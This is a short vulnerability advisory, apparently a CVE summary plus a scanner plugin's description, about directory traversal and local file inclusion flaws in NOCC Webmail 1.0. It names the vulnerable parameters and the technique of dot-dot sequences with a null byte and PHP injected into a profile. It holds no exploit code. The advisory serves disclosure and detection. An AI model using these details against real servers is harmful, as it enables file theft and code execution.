Summary

Multiple directory traversal vulnerabilities in NOCC Webmail 1.0 allow remote attackers to include arbitrary files via .. (dot dot) sequences and a trailing NULL (%00) byte in (1) the _SESSION['nocc_theme'] parameter in (a) html/footer.php; and (2) the lang and (3) theme parameters and the (4) Accept-Language HTTP header field, when force_default_lang is disabled, in (b) index.php, as demonstrated by injecting PHP code into a profile and accessing it using the lang parameter in index.php.

"The remote host is running NOCC, an open source webmail application
written in PHP. 

The installed version of NOCC is affected by a local file include flaw
because it fails to sanitize user input to the 'lang' parameter of the
'index.php' script before using it to include other PHP files. 
Regardless of PHP's 'register_globals' and 'magic_quotes_gpc'
settings, an unauthenticated attacker can leverage this issue to view
arbitrary files on the remote host and possibly to execute arbitrary
PHP code in files on the affected host. 

In addition, NOCC reportedly is affected by several other local and
remote file include, cross-site scripting, and information disclosure
vulnerabilities." );
